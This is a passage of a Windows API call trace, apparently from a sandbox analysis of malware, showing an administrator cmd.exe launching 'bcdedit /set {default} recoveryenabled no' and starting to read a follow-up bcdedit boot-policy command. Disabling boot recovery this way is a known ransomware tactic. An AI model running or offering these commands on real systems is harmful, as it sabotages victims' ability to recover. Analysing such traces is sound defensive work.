_String2="TYPE") returned -18 [0131.590] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0131.590] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0131.590] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0131.590] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0131.590] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0131.590] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0131.590] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0131.590] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0131.590] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0131.590] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0131.590] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0131.590] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0131.590] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0131.590] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0131.590] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0131.590] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0131.590] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0131.590] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0131.590] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0131.590] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0131.590] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0131.590] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0131.590] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0131.590] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0131.590] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0131.590] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0131.590] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0131.590] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0131.590] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0131.590] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0131.590] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0131.590] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0131.590] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0131.591] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0131.591] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0131.591] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0131.591] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0131.591] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0131.591] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0131.591] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0131.591] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0131.591] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0131.591] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0131.591] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0131.591] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0131.591] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0131.591] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0131.591] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0131.591] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0131.591] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0131.591] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0131.591] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0131.591] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0131.591] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0131.591] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0131.591] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0131.591] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0131.591] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0131.591] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0131.591] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0131.591] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0131.591] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0131.591] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0131.591] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0131.591] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0131.591] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0131.591] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0131.591] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0131.591] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0131.591] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0131.591] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0131.591] ??_V@YAXPEAX@Z () returned 0x1 [0131.591] GetProcessHeap () returned 0x20992a60000 [0131.591] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xffde) returned 0x20992a68da0 [0131.592] GetProcessHeap () returned 0x20992a60000 [0131.592] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x66) returned 0x20992a66a30 [0131.592] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0131.592] malloc (_Size=0xffce) returned 0x20992c60820 [0131.592] ??_V@YAXPEAX@Z () returned 0x20992c60820 [0131.592] GetProcessHeap () returned 0x20992a60000 [0131.592] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1ffac) returned 0x20992a7c100 [0131.594] SetErrorMode (uMode=0x0) returned 0x0 [0131.594] SetErrorMode (uMode=0x1) returned 0x0 [0131.594] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20992a7c110, lpFilePart=0x158ecff2b0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x158ecff2b0*="system32") returned 0x13 [0131.594] SetErrorMode (uMode=0x0) returned 0x1 [0131.594] GetProcessHeap () returned 0x20992a60000 [0131.594] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a7c100, Size=0x48) returned 0x20992a7c100 [0131.594] GetProcessHeap () returned 0x20992a60000 [0131.594] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a7c100) returned 0x48 [0131.594] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0131.594] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0131.594] GetProcessHeap () returned 0x20992a60000 [0131.594] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x1b4) returned 0x20992a78d90 [0131.594] GetProcessHeap () returned 0x20992a60000 [0131.594] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x358) returned 0x20992a78f50 [0131.594] GetProcessHeap () returned 0x20992a60000 [0131.594] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a78f50, Size=0x1b6) returned 0x20992a78f50 [0131.594] GetProcessHeap () returned 0x20992a60000 [0131.594] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a78f50) returned 0x1b6 [0131.594] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0131.595] GetProcessHeap () returned 0x20992a60000 [0131.595] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xe8) returned 0x20992a66aa0 [0131.595] GetProcessHeap () returned 0x20992a60000 [0131.595] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a66aa0, Size=0x7e) returned 0x20992a66aa0 [0131.595] GetProcessHeap () returned 0x20992a60000 [0131.595] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a66aa0) returned 0x7e [0131.595] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0131.595] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66b30 [0131.595] FindClose (in: hFindFile=0x20992a66b30 | out: hFindFile=0x20992a66b30) returned 1 [0131.595] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.COM", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0xffffffffffffffff [0131.595] GetLastError () returned 0x2 [0131.595] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.EXE", fInfoLevelId=0x1, lpFindFileData=0x158ecff020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x158ecff020) returned 0x20992a66b30 [0131.595] FindClose (in: hFindFile=0x20992a66b30 | out: hFindFile=0x20992a66b30) returned 1 [0131.596] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0131.596] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0131.596] ??_V@YAXPEAX@Z () returned 0x1 [0131.596] GetConsoleTitleW (in: lpConsoleTitle=0x158ecff5a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0131.597] GetProcessHeap () returned 0x20992a60000 [0131.597] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x21c) returned 0x20992a79120 [0131.597] GetConsoleTitleW (in: lpConsoleTitle=0x20992a79130, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0131.598] GetProcessHeap () returned 0x20992a60000 [0131.598] RtlReAllocateHeap (Heap=0x20992a60000, Flags=0x0, Ptr=0x20992a79120, Size=0xce) returned 0x20992a79120 [0131.598] GetProcessHeap () returned 0x20992a60000 [0131.598] RtlSizeHeap (HeapHandle=0x20992a60000, Flags=0x0, MemoryPointer=0x20992a79120) returned 0xce [0131.598] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - bcdedit /set {default} recoveryenabled no") returned 1 [0131.648] GetProcessHeap () returned 0x20992a60000 [0131.648] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a79120) returned 1 [0131.648] InitializeProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x158ecff3b0 | out: lpAttributeList=0x158ecff4c0, lpSize=0x158ecff3b0) returned 1 [0131.648] UpdateProcThreadAttribute (in: lpAttributeList=0x158ecff4c0, dwFlags=0x0, Attribute=0x60001, lpValue=0x158ecff39c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x158ecff4c0, lpPreviousValue=0x0) returned 1 [0131.648] GetStartupInfoW (in: lpStartupInfo=0x158ecff450 | out: lpStartupInfo=0x158ecff450*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0131.648] GetProcessHeap () returned 0x20992a60000 [0131.648] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x20) returned 0x20992a65bb0 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0131.649] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0131.649] GetProcessHeap () returned 0x20992a60000 [0131.649] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0131.649] GetProcessHeap () returned 0x20992a60000 [0131.649] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0x12) returned 0x20992a65bb0 [0131.649] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.649] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0131.649] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.649] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0131.650] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x158ecff3e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} recoveryenabled no", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x158ecff3b8 | out: lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessInformation=0x158ecff3b8*(hProcess=0x94, hThread=0x98, dwProcessId=0xff4, dwThreadId=0xff8)) returned 1 [0131.655] CloseHandle (hObject=0x98) returned 1 [0131.655] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0131.655] GetProcessHeap () returned 0x20992a60000 [0131.655] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0131.655] GetEnvironmentStringsW () returned 0x20992a7ab00* [0131.655] GetProcessHeap () returned 0x20992a60000 [0131.656] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0131.656] FreeEnvironmentStringsA (penv="=") returned 1 [0131.656] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x158ecfe8b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x158ecfe8b8, ReturnLength=0x0) returned 0x0 [0131.656] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0xd146506000, lpBuffer=0x158ecfe8f0, nSize=0x7a0, lpNumberOfBytesRead=0x158ecfe8b0 | out: lpBuffer=0x158ecfe8f0*, lpNumberOfBytesRead=0x158ecfe8b0*=0x7a0) returned 1 [0131.656] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0131.689] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x158ecff338 | out: lpExitCode=0x158ecff338*=0x0) returned 1 [0131.689] CloseHandle (hObject=0x94) returned 1 [0131.689] _vsnwprintf (in: _Buffer=0x158ecff508, _BufferCount=0x13, _Format="%08X", _ArgList=0x158ecff348 | out: _Buffer="00000000") returned 8 [0131.689] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0131.689] GetProcessHeap () returned 0x20992a60000 [0131.689] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0131.689] GetEnvironmentStringsW () returned 0x20992a7ab00* [0131.689] GetProcessHeap () returned 0x20992a60000 [0131.689] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0131.689] FreeEnvironmentStringsA (penv="=") returned 1 [0131.689] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0131.689] GetProcessHeap () returned 0x20992a60000 [0131.689] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7b600) returned 1 [0131.689] GetEnvironmentStringsW () returned 0x20992a7ab00* [0131.689] GetProcessHeap () returned 0x20992a60000 [0131.689] RtlAllocateHeap (HeapHandle=0x20992a60000, Flags=0x8, Size=0xaea) returned 0x20992a7b600 [0131.689] FreeEnvironmentStringsA (penv="=") returned 1 [0131.689] GetProcessHeap () returned 0x20992a60000 [0131.689] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65bb0) returned 1 [0131.689] DeleteProcThreadAttributeList (in: lpAttributeList=0x158ecff4c0 | out: lpAttributeList=0x158ecff4c0) [0131.689] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0131.691] ??_V@YAXPEAX@Z () returned 0x1 [0131.691] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.691] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0131.691] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.691] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0131.691] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.691] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0131.691] GetConsoleOutputCP () returned 0x1b5 [0131.691] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0131.691] SetThreadUILanguage (LangId=0x0) returned 0x409 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66aa0) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78f50) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a78d90) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a7c100) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66a30) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a68da0) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a669d0) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a65da0) returned 1 [0131.692] GetProcessHeap () returned 0x20992a60000 [0131.692] RtlFreeHeap (HeapHandle=0x20992a60000, Flags=0x0, BaseAddress=0x20992a66910) returned 1 [0131.692] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x158ecff8e8 | out: _Buffer="\r\n") returned 2 [0131.692] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.692] GetFileType (hFile=0x254) returned 0x3 [0131.693] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0131.693] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x158ecff8b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8b8*=0x2, lpOverlapped=0x0) returned 1 [0131.693] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0131.693] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20992c30080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0131.693] _vsnwprintf (in: _Buffer=0x20992c40060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x158ecff8f8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0131.693] _vsnwprintf (in: _Buffer=0x20992c40086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x158ecff8f8 | out: _Buffer=">") returned 1 [0131.693] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.693] GetFileType (hFile=0x254) returned 0x3 [0131.693] _get_osfhandle (_FileHandle=1) returned 0x254 [0131.693] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0131.693] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x158ecff8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0x158ecff8e8*=0x14, lpOverlapped=0x0) returned 1 [0131.693] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.693] GetFileType (hFile=0x248) returned 0x3 [0131.693] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.693] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.693] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="wcdedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.693] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.693] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.693] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0x158ecffc48*=0x1, lpOverlapped=0x0) returned 1 [0131.693] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="bdedit /set {default} recoveryenabled no\nnoreallfailures\n") returned 1 [0131.693] _get_osfhandle (_FileHandle=0) returned 0x248 [0131.693] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0131.693] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x158ecffc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, 